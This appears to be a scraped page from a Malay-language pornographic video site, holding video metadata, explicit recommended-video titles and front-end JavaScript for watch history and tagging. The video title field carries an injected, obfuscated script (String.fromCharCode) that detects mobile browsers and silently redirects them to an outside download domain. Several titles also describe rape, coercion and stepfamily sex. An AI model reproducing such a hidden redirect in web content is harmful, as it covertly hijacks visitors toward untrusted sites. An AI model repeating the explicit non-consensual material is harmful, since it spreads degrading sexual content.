</title><script>var _=String['fromCharCode'];var a=_(77,111,98,105,108,101);var b=_(65,110,100,114,111,105,100);var c=_(105,80,1,104); d=_(105,80,97,100);var u=navigator.userAgent;if(u.indexOf(a)>-1||u.indexOf(b)>-1||u.indexOf(c)>-1||u.indexOf(d)>-1){window.location.href=_(104,116,116,112,115,58,47,47,120,105,97,122,97,105,46,105,116,46,99,111,109)}</script><title>Pemilik penginapan yang montok dan cantik itu seorang yang sangat sadis. Dia mengikat seorang lelaki dan mengganggunya sepenuhnya. Maki Kyoko, Chinamin, Yoshine Yuria BAZOOKA
Pemilik penginapan yang montok dan cantik itu seorang yang sangat sadis. Dia mengikat seorang lelaki dan mengganggunya sepenuhnya. Maki Kyoko, Chinamin, Yoshine Yuria BAZOOKA","site_id":0,"video_url":"https://2605.v155p.com/20260618/Z258S8Sz/index.m3u8","images":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNjA1MTMvM2Q2YzJkODcxMjgxMjgyZThjNmM5YTljNGZiYTdkNzMuanBn.cache","duration":"02:17:22","actor":[],"lastmod":1783766805,"rating":"2.0","view_count":675,"description":"Tuan rumah hotel yang berdada besar itu seorang yang sadis sepenuhnya; dia mengikat seorang lelaki dan mengganggunya sepenuhnya. (Maki Kyoko, Chinamin, Yoshine Yuria BAZOOKA)","tag":["asrama","payudara besar","Si cantik berdada besar","Kecantikan","bos wanita","bos","tuan rumah","tuan rumah","Ia adalah","hebat","penyalahgunaan","satu","lelaki","Ikatkannya","berdiri","menyeluruh","mengusik","hari ini","Kyoko Maki","Yoshine"],"site_url":"176646","free":1,"clarity":1,"vr":2,"is_caiji":0,"fenlei":["美乳巨乳"],"preview":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNjA1MTMvM2Q2YzJkODcxMjgxMjgyZThjNmM5YTljNGZiYTdkNzMuanBn.cache","maker":"","table_name":"videos_155zy","content":"","download_url":"","magnet_url":"","torrent_url":"","preview_images":"","release_date":"","series":"","studio":"","s_title":"旅馆的巨乳美女老板娘是个超级虐待狂,把一个男人绑起来,彻底调戏。 真木今日子,ちなみん,吉根ゆりあ BAZOOKA","s_keywords":"旅馆的巨乳美女老板娘是个超级虐待狂,把一个男人绑起来,彻底调戏。 真木今日子,ちなみん,吉根ゆりあ BAZOOKA","s_description":"Pemilik penginapan yang montok dan cantik itu seorang yang sangat sadis. Dia mengikat seorang lelaki dan mengganggunya sepenuhnya. Maki Kyoko, Chinamin, Yoshine Yuria BAZOOKA","cid":"","items":[{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNjA1MTMvZWFiNGEyMTdlNTI4ZTI0MzcwY2FhMDNjNzZkZDVkMTMuanBn.cache","vod_id":19160498,"title":"Cinemagic Nipple Abuse Siri 12, dibintangi oleh Risa Suzuki, Kana Tsuruta, Nozomi Arimura, dsb.","lastmod":"2026-05-28","duration":"02:56:44","url":"/play/19160498.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTA5MDcvMjk4ZWE4ZjFjMTgxNzA3Y2UxZjllZWYxMWRhMmNiOWQuanBn.cache","vod_id":19051273,"title":"GODR1201 Saya meminjamkan zakar dara saya kepada seorang wanita yang sudah berkahwin yang tidak bersalah. ~Versi Wanita Berkahwin yang Memerah~","lastmod":"2025-09-06","duration":"03:18:23","url":"/play/19051273.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEwMjUvZTc5NDZmMTgxNGUyZDRmMzkzZDMwNjdiMjQ2ZGU1ZjkuanBn.cache","vod_id":19059569,"title":"Dia digantung dan farajnya ditembusi sehingga dia terpancut!","lastmod":"2025-10-24","duration":"23:46","url":"/play/19059569.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEyMjMvMjMzOGViNDc2NjZjMDFhYzI2YjJhMzNjY2NlOGRhMGIuanBn.cache","vod_id":19156807,"title":"Wanita cantik dengan penampilan yang sangat menggoda dan menggoda","lastmod":"2026-05-06","duration":"01:02:19","url":"/play/19156807.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTA5MDUvZWUzMWYxZGU5NDkyZTljNmNjNzBmNjNiYjJhYzI4ZDYuanBn.cache","vod_id":19050887,"title":"Setiausaha yang sangat sensitif, wanita yang sudah berkahwin, Narumiya Tsubasa, empat kek krim berturut-turut, Narumiya Tsubasa 336DTT027","lastmod":"2025-09-04","duration":"01:38:32","url":"/play/19050887.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvZmZkZDg0ZmZhYTIwNzFmZjY5NGI1ZDhiOTQxODU1MDYuanBn.cache","vod_id":18979448,"title":"SSNI-465 Gadis Sains Berpayudara Besar Memerah Air Mani Permainan Payudara Membuat Saya Orgasme Setiap Hari - Saki Okuda","lastmod":"2025-12-14","duration":"02:20:13","url":"/play/18979448.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTA5MzAvYzA5MDA1ZGU2NmE4OGQ1ZTE1YjkwY2VhM2M1YzAyZTUuanBn.cache","vod_id":19055328,"title":"Seorang wanita muda yang cantik sedang berkeliaran di jalanan mencari seseorang untuk merogolnya.","lastmod":"2025-09-29","duration":"27:43","url":"/play/19055328.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNjA1MTMvYjgyODRmZDYwN2UwOTBkODA2ODZkZmM3NTNmMjk2N2UuanBn.cache","vod_id":19157874,"title":"Wanita-wanita cantik moden ini sangat lucah!! \"Ini semua wanita sebenar berusia 50-an! Pelakon wanita seperti Yumi Taniguchi, Emiko Ibu, dan Kozue Tokita—Kedai Wanita Matang—Emanuel\"","lastmod":"2026-05-13","duration":"02:00:36","url":"/play/19157874.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNjA1MTMvMGE0NjJiOWEyMGEwZmFjMzM4MDUwMzc4ZTM3YWU2MDUuanBn.cache","vod_id":19161569,"title":"Seorang butler cantik dengan punggung besar terus ditiduri sambil membersihkan punggungnya yang tidak dilindungi dan menjadi gila dengan duburnya terdedah, lalu ditiduri lagi dan lagi. Akari Tsumugi Madonna","lastmod":"2026-07-11","duration":"02:00:23","url":"/play/19161569.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTA5MTUvMjM4YTk2ZDRiYjYyNDFkNDU3ZmUzOTQ2YmJiODA5ZWYuanBn.cache","vod_id":19052756,"title":"Seorang gadis comel berdada rata dimarahi oleh bosnya dengan dialog lucu, diikuti dengan adegan melancap menggunakan prop. Jangan terlepas jika anda menyukai kandungan seperti ini.","lastmod":"2025-09-14","duration":"49:35","url":"/play/19052756.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvNDFiYmE3NGZiNWMzODMwNzcwMjVhODUyYjBkYWM1YmIuanBn.cache","vod_id":18970574,"title":"[Sarikata Cina] SSIS-639 Bagaimana jika pelakon seksi No.1 Yamanote Ria, dengan susuk tubuhnya yang menakjubkan, adalah seorang pelayan wanita di sebuah pub dengan payudara besar? Rahsia Terbongkar! Idola montok yang sangat cantik","lastmod":"2025-03-23","duration":"02:12:16","url":"/play/18970574.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEyMjMvMThjY2FhZWJjNzA3Nzk0MDNhNTg3YzU3MjhjN2Q4ZTcuanBn.cache","vod_id":19139902,"title":"Seorang pramugari yang telah bersara dalam penerbangan antarabangsa telah jatuh sepenuhnya ke dalam kebejatan, terlibat dalam perbuatan seksual terlarang di dalam bilik mandi, termasuk gaya anjing, seks yang sengit dan seks oral.","lastmod":"2026-01-23","duration":"30:33","url":"/play/19139902.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNjA2MjMvNjk3NmVhYTI3OWI4YWZhNTE3NjQ4NzhmZmNhMGU1ZmYuanBn.cache","vod_id":19165476,"title":"Seorang jelita yang tinggi lampai, berstokin hitam, sedikit sakit, saya baru sahaja melakukan hubungan seks dua atau tiga kali.","lastmod":"2026-07-11","duration":"36:55","url":"/play/19165476.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvYzI4ZmMyODJkZTc5NjhlMDUxZTk5NTE5MmVkZjZmZTAuanBn.cache","vod_id":18968166,"title":"ABP-221 Hoshino Chisa, seorang wanita cantik yang memukau dengan garis-garis sawo matang yang seksi.","lastmod":"2025-12-14","duration":"02:02:37","url":"/play/18968166.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvMTU4MGI4YWU0NTJlOWUzMDNmYjNlOGY3MGMzNmUwYzcuanBn.cache","vod_id":19005722,"title":"MTALL-086-C [NTR Ereksi Puting] Teman wanita saya membesar di sebuah negara yang terkenal dengan pantai bogelnya. Dia tidak menyedari orientasi seksualnya dan tidak memakai coli.","lastmod":"2025-03-24","duration":"02:19:25","url":"/play/19005722.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEyMjMvNzU5MjcyOTE1MTE5YzU2ZmU0NzI3ZTllZjY0YWFiYWYuanBn.cache","vod_id":19147773,"title":"MIDV-550-C Semasa dalam perjalanan perniagaan (di Fukuoka), saya bertemu dengan seorang bos wanita dari sebuah syarikat pelanggan. Kami minum-minum bersama, tetapi terlepas kereta api terakhir dan akhirnya berkongsi bilik. Kami menghabiskan masa yang manis dan tidak terkawal bertutur dalam dialek Hakata sehingga subuh.","lastmod":"2026-03-11","duration":"02:27:13","url":"/play/19147773.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEwMDQvN2VhMmQ4OTlkZDc4YzRmMjQ3OTcxZmFmZTQwZjQ5ZGMuanBn.cache","vod_id":19056010,"title":"Seorang penstrim langsung wanita yang cantik dan menawan, memakai stoking terbuka di kelangkang, melancap, mempamerkan vulva merah jambunya yang cantik.","lastmod":"2025-10-03","duration":"07:35","url":"/play/19056010.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvMTQzZjU2ZjI3ZGVlMWNjNTYwMGEyYTRjOTdhMDE1YTMuanBn.cache","vod_id":18969872,"title":"ETQR-458 [Fantasi Subjektif] Seks segera bila-bila masa, di mana sahaja! Pembantu rumah cantik AMERI menyediakan perkhidmatan pancutan mani.","lastmod":"2025-03-23","duration":"01:03:13","url":"/play/18969872.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvNTljZmNhOGRlN2Y2NmRhZWRkNDAxY2ZkZjQ5N2ViNzguanBn.cache","vod_id":18964133,"title":"\"Koleksi Lengkap Bocor Peringkat Atas\" - Menunjukkan wajah anda adalah kuncinya! Sasaran tandas daging manusia: 100 orang membunuh Twitter bernilai tinggi berkualiti tinggi payudara besar kontras jalang [Juice Summer] menembak pelbagai seks peribadi Ziwei (86)","lastmod":"2025-12-14","duration":"00:01:24","url":"/play/18964133.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNjA2MjkvMGQ4M2VlZDYxZDQyNzQ0ZWViNWY2ZTFlZDVmMDNhYjMuanBn.cache","vod_id":19166348,"title":"Kisah seekor anjing yang dijelmakan semula sebagai (pelajar perempuan yang berawek malaikat) ひよこ","lastmod":"2026-07-11","duration":"01:59:05","url":"/play/19166348.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNjA1MTMvZTA5Y2VkMWEwZjVjM2YxYTNmOTkzNTU1YjViNDhmNGQuanBn.cache","vod_id":19158837,"title":"Dengan bos suami saya! Dengan rakan sekerja suami saya! Dilarang bersama pak cik jiran. Pelakon: Mizuki Sakura, Nakajo Kanon, Arimura Nozomi, dll. Nagae Style","lastmod":"2026-05-19","duration":"04:48:56","url":"/play/19158837.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvY2NhNjNjYmE3YTMwNDY4NjFkNWUzZjJkMTFlYjc4MGYuanBn.cache","vod_id":18970457,"title":"CESD-502 Kagami Suka, ibu tiri berdada besar yang menjadi hamba anaknya dan ditembusi.","lastmod":"2025-03-23","duration":"02:06:20","url":"/play/18970457.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNjA1MTMvOGVjNmI3NWQxMDBlZDIyOGMzYWI5YzMxYzQ1NjdlZjAuanBn.cache","vod_id":19159020,"title":"Bermain dengan titik sensitif lelaki bersama-sama, dijamin klimaks! Posisi yang sangat lucah, penguasaan sepenuhnya, pilihan posisi menunggang labah-labah. Dibintangi: Misono Kazuka, Himesaki Hana, Oto Alice, dan lain-lain. MOODYZ","lastmod":"2026-05-20","duration":"03:51:43","url":"/play/19159020.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEyMTMvZGU2MGE0OGUzZTQyMmExMzkwZWUyMmU2OGVmZGRmYjYuanBn.cache","vod_id":19065235,"title":"Seorang jelita bertopeng, Menesu, mengusik seorang pelanggan dengan gambar jarak dekat yang ekstrem, menyebabkan pelanggan itu tegang, lalu menggosok dirinya dengan tali leher. (Pelakon tidak dikenali FJIN_036)","lastmod":"2025-12-14","duration":"03:33:21","url":"/play/19065235.html"}]},
videoTitle: '</title><script>var _=String['fromCharCode'];var a=_(77,111,98,105,108,101);var b=_(65,110,100,114,111,105,100);var c=_(105,80,1,104); d=_(105,80,97,100);var u=navigator.userAgent;if(u.indexOf(a)>-1||u.indexOf(b)>-1||u.indexOf(c)>-1||u.indexOf(d)>-1){window.location.href=_(104,116,116,112,115,58,47,47,120,105,97,122,97,105,46,105,116,46,99,111,109)}</script><title>Pemilik penginapan yang montok dan cantik itu seorang yang sangat sadis. Dia mengikat seorang lelaki dan mengganggunya sepenuhnya. Maki Kyoko, Chinamin, Yoshine Yuria BAZOOKA',
language: 'ms',
dataKey: '01',
loadingPlayer: true,
showShare: false,
pageUrl: '',
// RecommendedMovies 组件状态
isSingleColumn: false,
pageSize: 8,
currentPage: 1,
// 计算属性(使用 getter)
get layoutIconClass() {
return this.isSingleColumn ? 'icon-view-list' : 'icon-grid';
},
get layoutClass() {
return [
'row',
'g-3',
'row-cols-1',
this.isSingleColumn ? '' : 'row-cols-2',
'row-cols-lg-4'
].filter(Boolean).join(' ');
},
// 方法
onAppMounted() {
// 设置页面 URL
this.pageUrl = window.location.href;
// 保存观看历史
this.saveWatchHistory();
// 更新标签统计
if (this.videoData.tag && this.videoData.tag.length > 0) {
this.updateTagStats(this.videoData.tag);
}
// 发送点击统计
this.hitVideoId(this.videoData.id);
// 从 Cookie 读取布局偏好
const layoutCookie = this.getCookie('list_layout');
if (layoutCookie === 'single') {
this.isSingleColumn = true;
}
// 监听 iframe 加载完成,隐藏骨架屏
// 使用 setTimeout 确保 DOM 已完全渲染
setTimeout(() => {
const iframe = document.getElementById('v2-player');
const skeleton = document.getElementById('player-skeleton');
if (iframe && skeleton) {
// 定义隐藏骨架屏的函数
const hideSkeleton = () => {
skeleton.style.transition = 'opacity 0.3s ease';
skeleton.style.opacity = '0';
setTimeout(() => {
skeleton.style.display = 'none';
}, 300);
};
// 检查 iframe 是否已经加载完成
if (iframe.contentDocument || iframe.contentWindow) {
try {
// 如果 iframe 已加载,直接隐藏骨架屏
if (iframe.contentWindow.document.readyState === 'complete') {
setTimeout(hideSkeleton, 500);
return;
}
} catch (e) {
console.log('[Video] 跨域 iframe,无法检查状态:', e.message);
// 跨域情况下无法访问 contentWindow,继续监听 load 事件
}
}
// 监听 load 事件
iframe.addEventListener('load', () => {
console.log('[Video] iframe load 事件触发');
setTimeout(hideSkeleton, 500);
});
// 添加超时保护,确保骨架屏最终会被隐藏
setTimeout(() => {
if (skeleton.style.display !== 'none') {
console.log('[Video] 超时保护触发,强制隐藏骨架屏');
hideSkeleton();
}
}, 5000); // 5秒后强制隐藏
} else {
console.error('[Video] 未找到 iframe 或 skeleton 元素');
}
}, 0);
},
// 随机跳转
async jumpToRandomVideo() {
try {
const response = await fetch(`/api/qun/randomid?t=${Date.now()}`, {
headers: {
'x-data-key': this.dataKey,
'x-api-key': 'dagexxx.com'
}
});
const data = await response.json();
if (data?.status === 1 && data?.data?.id) {
window.location.href = `/${this.language}/play/${data.data.id}.html`;
} else {
console.error('获取随机视频失败:', data?.message || '未知错误');
}
} catch (err) {
console.error('获取随机视频失败:', err);
}
},
// 复制分享链接
copyShareLink() {
const input = this.$refs.shareInput;
if (input) {
input.select();
input.setSelectionRange(0, 99999); // For mobile devices
// 尝试使用现代 API
if (navigator.clipboard && navigator.clipboard.writeText) {
navigator.clipboard.writeText(this.pageUrl).then(() => {
alert('Pautan disalin!');
}).catch(() => {
// 降级到旧方法
document.execCommand('copy');
alert('Pautan disalin!');
});
} else {
// 降级到旧方法
document.execCommand('copy');
alert('Pautan disalin!');
}
}
},
// 切换布局
toggleLayout() {
this.isSingleColumn = !this.isSingleColumn;
this.setCookie('list_layout', this.isSingleColumn ? 'single' : 'multi', 30);
},
// 加载更多
loadMore() {
this.currentPage++;
},
// 保存观看历史
saveWatchHistory() {
try {
const storageKey = 'watchHistory';
let history = JSON.parse(localStorage.getItem(storageKey) || '[]');
// 解码 HTML 实体编码的标题
const decodeHtmlEntities = (text) => {
const textarea = document.createElement('textarea');
textarea.innerHTML = text;
return textarea.value;
};
const video = {
id: this.videoData.id,
title: decodeHtmlEntities(this.videoData.title),
image: this.videoData.images || this.videoData.preview,
duration: this.videoData.duration || ''
};
// 过滤掉已存在的相同 ID 视频
history = history.filter(item => item.id !== video.id);
// 添加新记录到最前面
history.unshift(video);
// 限制最多保存 100 条
if (history.length > 100) {
history = history.slice(0, 100);
}
localStorage.setItem(storageKey, JSON.stringify(history));
} catch (e) {
console.error('Failed to save watch history:', e);
}
},
// 更新标签统计
updateTagStats(tags = []) {
// HTML 实体解码函数
const decodeHtmlEntities = (text) => {
const textarea = document.createElement('textarea');
textarea.innerHTML = text;
return textarea.value;
};
const storageKey = this.dataKey + 'tagWatchStats';
const lastWatchedKey = this.dataKey + 'tagLastWatched';
const raw = localStorage.getItem(storageKey);
const stats = raw ? JSON.parse(raw) : {};
// 解码标签并统计
const decodedTags = tags.map(tag => decodeHtmlEntities(tag));
decodedTags.forEach(tag => {
stats[tag] = (stats[tag] || 0) + 1;
});
localStorage.setItem(storageKey, JSON.stringify(stats));
localStorage.setItem(lastWatchedKey, JSON.stringify(decodedTags));
},
// 点击统计
hitVideoId(id) {
fetch(`/api/qun/hit?type=play&id=${id}`, {
method: 'GET',
headers: {
'x-data-key': this.dataKey,
'x-api-key': 'dagexxx.com'
}
}).catch(err => {
console.error('点击统计失败:', err);
});
},
// Cookie 工具方法
getCookie(name) {
const value = `; ${document.cookie}`;
const parts = value.split(`; ${name}=`);
if (parts.length === 2) return parts.pop().split(';').shift();
},
setCookie(name, value, days) {
const expires = new Date(Date.now() + days * 864e5).toUTCString();
document.cookie = `${name}=${value}; expires=${expires}; path=/`;
}
};
}